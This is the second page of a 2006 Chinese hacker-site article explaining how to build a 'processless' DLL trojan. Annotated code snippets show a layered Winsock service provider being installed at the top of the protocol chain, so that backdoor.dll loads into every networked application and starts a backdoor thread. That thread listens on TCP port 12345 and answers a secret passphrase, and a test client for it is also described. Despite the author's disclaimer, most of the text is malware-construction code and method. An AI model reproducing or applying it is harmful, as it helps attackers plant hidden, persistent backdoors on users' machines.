黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[推荐]无进程DLL木马开发思路与实现
        ★★★★★
无进程DLL木马开发思路与实现
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-11-24

 

四)主要代码分析

1.instBD.exe

可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。

自定义函数:

BOOL getfilter(); //获得所有已经安装的传输服务提供者 
void freefilter(); //释放存储空间 
void installfilter(); //安装分层协议,协议链及排序 
void removefilter(); //卸载分层协议和协议链

代码分析:

protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize); 
//分配WSAPROTOCOL_INFOW结构的存储空间 
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode); 
//获得系统中已安装的所有服务提供者 
GetCurrentDirectory(MAX_PATH,filter_path); 
//得到当前的路径 
_tcscpy(filter_name,_T("\\backdoor.dll")); 
//构造服务提供者文件backdoor.dll的路径全名 
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode); 
//安装自定义的IP分层协议 
iplayercataid=protoinfo.dwCatalogEntryId; 
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志 
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid; 
//将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端 
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode); 
//安装协议链 
WSCWriteProviderOrder(cataentries,totalprotos); 
//更新所有服务提供者的安装顺序,把自定义的服务提供者排在所有协议的最前列 
WSCDeinstallProvider(&filterguid,&errorcode); 
//卸载IP分层协议 
WSCDeinstallProvider(&filterchainguid,&errorcode); 
//卸载协议链

2.backdoor.dll

传输服务提供者都是以动态链接库的形式存在的,在应用程序需要时由Ws2_32.dll加载,在用完之后就被卸载。传输服务提供者只有一个入口函数就是WSPStartup,它是Windows Socket 应用程序调用SPI的初始化函数,其他SPI函数的调用都是通过WSPStartup的参数WSPUPCALLTABLE来实现的。其中有个全局变量,可共所有调用DLL的程序读取与修改。在首次加载服务提供者时,我们启动木马进程。演示中木马进程没有任何特别的功能,当客户端和监听的服务器端口连接后,如果客户端发送了特定的暗号,服务端就会回送特定的消息。

自定义函数:

int WSPAPI WSPStartup( WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW 
lpprotoinfo, 
WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable); 
//SPI函数WSPStartup和Windows Socket 2的API函数WSAStartup相对应,WSPStartup是唯一的入口函
数,剩下的30个SPI函数则是通过参数upcalltable来实现的,它们只能在内部调用,不向外提供入口

代码分析:

hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL); 
//创建木马进程,它只是展示数据的流通 
GetModuleFileName(NULL,processname,MAX_PATH); 
//获得调用本服务提供者动态链接库的可执行文件的全名 
OutputDebugString(_T("Start the backdoor ...")); 
//输出调试信息 
layerid=protoinfo.dwCatalogEntryId; 
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志 
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1]; 
//获得下一层传输服务提供者的标志信息 
WSCGetProviderPath(&protoinfo.ProviderId,filterpath,&filterpathlen,&errorcode); 
//获得下一层传输服务提供者的安装路径 
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH); 
//扩展环境变量 
hfilter=LoadLibrary(filterpath)); 
//装载下一层传输服务提供者 
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup")); 
//获得下一层传输服务提供者的入口函数WSPStartup,以便调用 
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable); 
//调用下一层传输服务提供者的WSPStartup函数,实现钩子功能 
nextproctable=*lpproctable; 
//保存下一层服务提供者的30个服务函数指针 
由于以动态链接库形式的服务提供者要向外提供一个入口函数,因此还须一个配置文件backdoor.def: 
EXPORTS WSPStartup 
//向外提供入口函数WSPStartup

3.testBD.exe

这是一个测试程序,用来检测木马的服务器端是否正常工作。在它发送特定的消息到服务器端后,如果服务器正常工作就会回送特定的消息,反之则不会收到任何消息。由于木马的服务器在TCP的12345端口监听,所以我们的客户端也是基于TCP协议的。

五)小结与后记

本文的目的在于向大家介绍一种编程思路,固不是任何的木马教程。其实只有在不断的对抗中,技术和思路才会不断的提高。我们只有充分的了解了各种技术,甚至有前瞻的能力才能维护好网络秩序,促进网络安全的发展。最后送给大家一句老话:知己知彼,百战不殆。

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886